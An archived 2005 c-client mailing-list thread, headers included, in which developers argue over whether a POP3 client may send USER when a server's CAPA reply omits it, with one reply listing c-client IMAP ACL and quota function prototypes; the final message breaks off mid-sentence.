(mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IPHQD050064 for ; Wed, 2 Feb 2005 10:25:17 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IPHkp006777 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 10:25:17 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IPEOC026118 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 10:25:14 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12IPDhW020499; Wed, 2 Feb 2005 10:25:14 -0800 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12IPALP014218 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 2 Feb 2005 10:25:13 -0800 Message-Id: Date: Wed, 2 Feb 2005 10:25:09 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Interest List Subject: Re[3]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Feb 2005, Vadim Zeitlin wrote: > > They may have an administrative policy that clients should use the SSL > > POP3 service (port 995) instead of unencrypted POP3 port 110; but for the > > benefit of old pre-SSL clients (which also would not use CAPA) it allows > > the USER/PASS commands. > Ok, but if they [still] allow it, there mustn't be much harm in using it. There is a substantial amount of harm if the purpose of allowing USER when not advertised is to provide temporary reclama for old clients. By doing the old client behavior, you could stymie the site's migration plans. Doing so is the type of behavior that Microsoft is often accused of doing: taking the expedient approach instead of the correct one. I find it sadly ironic that the open source community would even think of doing this, after all the years of Microsoft-bashing over this very issue. > > > Speaking practically, what problems can I have if I still use USER > > > the server doesn't advertise it? > Doing so violates the specifications, and may very well violate the > intentions of the POP3 server administrator. > Again, not in this case. It most certainly does violate the specification. The minute your software is installed at a site which has such reclama, it also violates the intentions of the server administrator and adds to his (or her) headaches. Your software has no way of knowing that this is the case. > I understand your point of view but you should realize, of course, that I > am going to patch my c-client version (once again) because I can't tell the > user with a straight face that I am not going to fix it when it's a whole > of one line fix. In that case, honesty and morality requires that you also disclose to your user that your client is BROKEN and NON-COMPLIANT with the specifications, and that as a result it has a SECURITY BUG that will continue even when your user upgrades his server. The entire reason why USER is part of CAPA is to enable the behavior of client code (such as in c-client that you advocate disabling. You are breaking an important and valuable security mechanism that many people spent a long time developing. And for what reason? So your client works with one particular broken server! > I still can't prevent myself from thinking that all this is > a big waste of effort Then don't do it! There is no law that says that you have to support broken servers. The world does not become a better place by adding security bugs in order to accomodate broken software. If a site doesn't want to fix its server to comply with specifications and run your client, then your client isn't important to that site -- and that site shouldn't be important to you either. There are many other sites which run compliant servers; quite enough to keep you in business. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 2 10:53:37 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 10:53:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12IrbZd016414 for ; Wed, 2 Feb 2005 10:53:37 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IrZ94015450 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 10:53:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12IrRwH021082; Wed, 2 Feb 2005 10:53:27 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IqP3h033082 for ; Wed, 2 Feb 2005 10:52:25 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IqOII008976 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 10:52:25 -0800 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IqLi6015346 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 10:52:23 -0800 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1CwPbw-0001Ei-00 for ; Wed, 02 Feb 2005 19:52:20 +0100 Message-Id: Date: Wed, 2 Feb 2005 19:52:25 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Interest List Subject: Re[4]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Feb 2005 10:25:09 -0800 Mark Crispin wrote: MC> Doing so is the type of behavior that Microsoft is often accused of doing: MC> taking the expedient approach instead of the correct one. I find it sadly MC> ironic that the open source community would even think of doing this, MC> after all the years of Microsoft-bashing over this very issue. Mark, I'm exchanging sporadic mails with you for the last 9 years or so and during all this time I don't cease to be amused by your habit of bringing Microsoft policy into just about any kind of technical discussion. Could we please just leave Microsoft alone? I have no relation with Microsoft but I don't like being accused of Microsoft bashing groundlessly and, while I'm proud to be part of, I don't represent this mythical (but, judging from your description, nefarious) "open source community" in any way at all, so could we please just leave it at that? Thanks. MC> It most certainly does violate the specification. How can you seriously state this in a case of a server which violates it in such way that it doesn't leave me any other choice but to do this? MC> The minute your software is installed at a site which has such reclama, it MC> also violates the intentions of the server administrator and adds to his MC> (or her) headaches. Your software has no way of knowing that this is the MC> case. But the user does. This is why I think that ideally there would be an option, e.g. a cclient callback to the main program which would allow it to decide -- presumably by asking the user -- whether to continue connecting. If there was a chance of this being ever integrated into c-client you can be sure that I'd provide a patch doing exactly this or whatever else you'd accept. However, when confronted to a total and absolute refuse to make any modifications at all to c-client from your part, I'm understandably reluctant to spend any amount of time on the code which will only create me additional maintenance headaches. MC> > I understand your point of view but you should realize, of course, that I MC> > am going to patch my c-client version (once again) because I can't tell the MC> > user with a straight face that I am not going to fix it when it's a whole MC> > of one line fix. MC> MC> In that case, honesty and morality requires that you also disclose to your MC> user that your client is BROKEN and NON-COMPLIANT with the specifications, I do disclose that the version of c-client I use has been modified. MC> If a site doesn't want to fix its server to comply with specifications and MC> run your client, then your client isn't important to that site -- and that MC> site shouldn't be important to you either. This is an amazing view of a problem which probably represented quite well the view of Internet in the early eighties. I may assure you however that when the server is run by a big ISP (as is the case here), no user, whatever his determination to use my client, can change their mind. And while I absolutely don't care about that site, I do care about my users which is the word which appears to never appear in your vocabulary at all. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 2 10:54:22 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 10:54:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12IsMDD016458 for ; Wed, 2 Feb 2005 10:54:22 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IsL55028412 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 10:54:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12IsFr6018678; Wed, 2 Feb 2005 10:54:15 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IqZaP090314 for ; Wed, 2 Feb 2005 10:52:35 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IqYhM009041 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 10:52:34 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12IqXlo024787; Wed, 2 Feb 2005 10:52:33 -0800 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12IqVHn020691 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 2 Feb 2005 10:52:32 -0800 Message-Id: Date: Wed, 2 Feb 2005 10:52:30 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: hamaide@multitel.be Cc: c-client@u.washington.edu Subject: Re: Get imap acl In-Reply-To: <20050202111316.951sz7oohgn4sogs@mail.multitel.be> References: <20050202111316.951sz7oohgn4sogs@mail.multitel.be> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Feb 2005 hamaide@multitel.be wrote: > How can I access imap ACL? > > Do I have to write a callback and use driver function, > or can I access it using mail_parameters?? The only way to get at IMAP ACL or QUOTA is to include imap4r1.h (after including c-client.h) and then use the following undocumented functions: long imap_setacl (MAILSTREAM *stream,char *mailbox,char *id,char *rights); long imap_deleteacl (MAILSTREAM *stream,char *mailbox,char *id); long imap_getacl (MAILSTREAM *stream,char *mailbox); long imap_listrights (MAILSTREAM *stream,char *mailbox,char *id); long imap_myrights (MAILSTREAM *stream,char *mailbox); long imap_setquota (MAILSTREAM *stream,char *qroot,STRINGLIST *limits); long imap_getquota (MAILSTREAM *stream,char *qroot); long imap_getquotaroot (MAILSTREAM *stream,char *mailbox); Some of these functions have callbacks, e.g. there's the getacl_t function set via the SET_ACL mail_parameter() call that will send you an ACLLIST. You have to look at the imap4r1.c code for each of these functions and see how they work. Note!! These calls are temporary. Although the mail_parameter() interfaces will probably remain unchanged, these imap_??? calls may be withdrawn in the future and replaced with mail_??? calls. So, if you use these functions, be aware of this. imap_??? functions are usually internal for c-client and not to be called by applications. These imap_??? functions are an exception, since there is no official interface yet. But keep in mind that this is a temporary exception. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 2 11:34:40 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 11:34:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12JYdqf018187 for ; Wed, 2 Feb 2005 11:34:39 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JYcrP031896 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 11:34:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12JYSrU002660; Wed, 2 Feb 2005 11:34:28 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JXLXH043008 for ; Wed, 2 Feb 2005 11:33:22 -0800 Received: from elf.biotech.kth.se (elf.biotech.kth.se [130.237.79.15]) by mxe5.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JXI7m019891 for ; Wed, 2 Feb 2005 11:33:21 -0800 Received: from nora.saleks.org (unknown [213.132.119.181]) by elf.biotech.kth.se (Postfix) with ESMTP id 6173B23DD1F for ; Wed, 2 Feb 2005 20:31:22 +0100 (CET) Message-Id: <1107372798l.18294l.2l@nora.saleks.org> Date: Wed, 02 Feb 2005 19:33:18 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pawel Salek To: c-client@u.washington.edu Subject: Re: Re[4]: POP servers not advertising USER in CAPA reply In-Reply-To: (from vz-cclient@zeitlins.org on Wed Feb 2 19:52:25 2005) References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; DelSp=Yes; Format=Flowed Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 02/02/2005 07:52:25 PM, Vadim Zeitlin wrote: > [snip] > But the user does. This is why I think that ideally there would be > an option, e.g. a cclient callback to the main program which would > allow it to decide -- presumably by asking the user -- whether to > continue connecting. If there was a chance of this being ever > integrated into c-client you can be sure that I'd provide a patch > doing exactly this or whatever else you'd accept. However, when > confronted to a total and absolute refuse to make any modifications > at all to c-client from your part, I'm understandably reluctant to > spend any amount of time on the code which will only create me > additional maintenance headaches. I am bit afraid of jumping right in into this heated discussion but I am going to give it a shot anyway. Working around bugs in somebody else's software is a tricky business: it's a judgement call and in case of a reference implementation (ok, c-client is a imap reference implementation, not pop3 but I can imagine many people may treat it as such) may cause an injustified impression that the bugs are not really bugs but just features. Assuming that you really have to work around this missing USER capability , I am not sure whether shifting responsibility of maintaining such modifications from you to the author of c-client is fair - he seemed to be reluctant to accept it, didn't he? I am sure that you would succeed convincing the right people (i.e. the writers of the buggy server) if you really wanted to, if you tried as hard as you try here. (have you tried?). It would be much better spent time - it would not only fix interaction with c-client but all the other standard conforming POP3 implementations. Pawel PS. my reading of RFC1939 is that it is ok to try USER but send PASS only if the server answered with +OK. Since the server in question has CAPA, it is a RFC2449-compliant server and the CAPA response is the authorative way of finding out which commands are available. While I do not see in RFC2449 an explicit statement that client MUST NOT try unadverstised commands, it is pretty much in the spirit of CAPA: if CAPA was not authorative it would serve no purpose. From pinedev@shivax2.cac.washington.edu Wed Feb 2 11:36:28 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 11:36:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12JaSc3018330 for ; Wed, 2 Feb 2005 11:36:28 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JaPWj032069 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 11:36:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12JaIs4011360; Wed, 2 Feb 2005 11:36:19 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JZcI6008284 for ; Wed, 2 Feb 2005 11:35:38 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JZcLL031760 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 11:35:38 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JZb3m018360 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 11:35:37 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12JZbKe031374; Wed, 2 Feb 2005 11:35:37 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12JZbKr008029; Wed, 2 Feb 2005 11:35:37 -0800 Message-Id: Date: Wed, 2 Feb 2005 11:35:37 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Interest List Subject: Re[4]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Feb 2005, Vadim Zeitlin wrote: > This is an amazing view of a problem which probably represented quite well > the view of Internet in the early eighties. Did you use the Internet in the early eighties? If not, please do not lecture me about what the Internet was like in the early 1980s. > I may assure you however that > when the server is run by a big ISP (as is the case here), no user, > whatever his determination to use my client, can change their mind. In that case, the user can cancel his account at that ISP and find an alternative ISP which complies with the standards. > And > while I absolutely don't care about that site, I do care about my users > which is the word which appears to never appear in your vocabulary at all. If you really believe that I do not care about my users, maybe you should use other library for your application. What you advocate is not caring for your users. Caring about your users requires that you care about your users' interests. That, among other things, necessitates following specifications and the current security requirements of those specifications. The minute that specifications are violated in the name of expediency, the entire user community is hurt. Security requirements exist for a reason. They often impact expediency. The current tsunami of worms, viruses, and spam came about in large part because of expediency. The only reason for the USER capability in POP3 CAPA is to provide, by the absence of USER, a means to block compliant POP3 clients from sending a USER command. If you eliminate that block, you make the USER capability meaningless, and undo a substantial amount of work put in by many individuals. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 2 12:04:38 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 12:04:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12K4cgU019643 for ; Wed, 2 Feb 2005 12:04:38 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12K4b0f020772 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 12:04:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12K4ULd002782; Wed, 2 Feb 2005 12:04:31 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12K3k4e110958 for ; Wed, 2 Feb 2005 12:03:46 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12K3j0n013197 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 12:03:46 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12K3hKw012954; Wed, 2 Feb 2005 12:03:43 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12K3h7U010823; Wed, 2 Feb 2005 12:03:43 -0800 Message-Id: Date: Wed, 2 Feb 2005 12:03:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Pawel Salek Cc: c-client@u.washington.edu Subject: Re: Re[4]: POP servers not advertising USER in CAPA reply In-Reply-To: <1107372798l.18294l.2l@nora.saleks.org> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Pawel, thanks for your comments. It brings up some good points which I may have glossed over or imperfectly stated. On Wed, 2 Feb 2005, Pawel Salek wrote: > PS. my reading of RFC1939 is that it is ok to try USER but send PASS > only if the server answered with +OK. Here's where interpretation of RFCs leads us into trouble. There is a very great difference between: . what is "right" . what is "obvious" to you and me . what is "obvious" to someone else . what the RFCs actually say Failure to take all four of these into account leads to disaster! [Sad experience here...] This current thread is a good example. Unfortunately, RFC 1939 has the following statement in its Security Considerations section: Servers that answer -ERR to the USER command are giving potential attackers clues about which names are valid. We can argue that this does not apply when -ERR is given to any USER command. However, if you read RFC 2449, you will find that the USER capability refers to "USER and PASS". It may be "obvious" that "USER and PASS" means "any USER command and/or any PASS command". But, it doesn't say that. This opens the door (wide enough to drive a truck through) for an interpretation that the USER capability applies *only* to sending USER *and* PASS, and not to sending USER by itself (or sending USER along with some token other than a password). Put another way, it can be argued that the USER capability refers to the PASS command, not the USER command. That argument is completely valid with the way that RFC 1939 and RFC 2449 are worded. Once that argument is accepted, you then run into the unfortunate statement above in the Security Considerations of RFC 1939, which seems to indicate that a server SHOULD NOT answer -ERR to the USER command. At this point, a client that has been broken not to respect CAPA (as discussed in this thread) will send the password in the clear to a server which won't accept it and has a policy of no passwords in the clear. This all may sound like a stretch. However, 30 years of experience with Internet protocols tells me that it isn't a stretch at all. The door is open, and sooner or later a truck *will* be driven through it. The only question left is whether or not we allow the evil hitchhiker through as well. > Since the server in question has > CAPA, it is a RFC2449-compliant server and the CAPA response is the > authorative way of finding out which commands are available. Indeed. RFC 1939 reflects the old way of "just try it and see if it works" thinking. Such things has caused enormous problems, and was a major factor in adopting capabilities in the IMAP2 -> IMAP4 transition. A similar discussion is going on with the NNTP protocol. The difference is that it has a much more entrenched infrastructure of "just try it and see" and capabilities listing that isn't authoritative either way. The only sane way out of the mess is to demand that capabilities listings to be authoritative, and in turn to respect that authority. This means, among other things, that clients must demand authoritative capabilities listings from servers. Clients should not try to guess and work around, and servers must not assume that clients will guess and work around. Unfortunately, every client which guesses and works around gives the server an excuse not to adhere to its requirements. Time and time again, I hear "our server works with Outlook and Thunderbird, therefore the bug is in Pine; so we're not going to change our server or even look any further." -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 2 13:57:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 13:57:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12LvHGI024422 for ; Wed, 2 Feb 2005 13:57:17 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12LvGfW011658 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 13:57:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12Lv6qe015620; Wed, 2 Feb 2005 13:57:07 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12LtnbR050130 for ; Wed, 2 Feb 2005 13:55:50 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12Ltnxk006959 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 13:55:49 -0800 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12LtkLO011545 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 13:55:48 -0800 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1CwSTP-0001Ud-00 for ; Wed, 02 Feb 2005 22:55:43 +0100 Message-Id: Date: Wed, 2 Feb 2005 22:55:49 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Interest List Subject: Re[5]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Feb 2005 11:35:37 -0800 (PST) Mark Crispin wrote: MC> On Wed, 2 Feb 2005, Vadim Zeitlin wrote: MC> > This is an amazing view of a problem which probably represented quite well MC> > the view of Internet in the early eighties. MC> MC> Did you use the Internet in the early eighties? You know perfectly well that I didn't (at least I told you so many times in the past as all our discussions seem to end with this) and you know that I do know that you did. But this is not the point. The point is that the balance has changed since then. Back then users could force such changes. Now they can't. MC> In that case, the user can cancel his account at that ISP and find an MC> alternative ISP which complies with the standards. How many users are going to do this? Or, more importantly, how many ISPs would do anything even if [s]he did? MC> If you really believe that I do not care about my users, maybe you should MC> use other library for your application. Unfortunately I don't have resources to redo 10 years of work using c-client. MC> The only reason for the USER capability in POP3 CAPA is to provide, by the MC> absence of USER, a means to block compliant POP3 clients from sending a MC> USER command. If you eliminate that block, you make the USER capability MC> meaningless, and undo a substantial amount of work put in by many MC> individuals. The answer to this as well to the security problem (how significant it is compared with the general idea of sending password in the cleartext could be discussed some other time...) you mention in 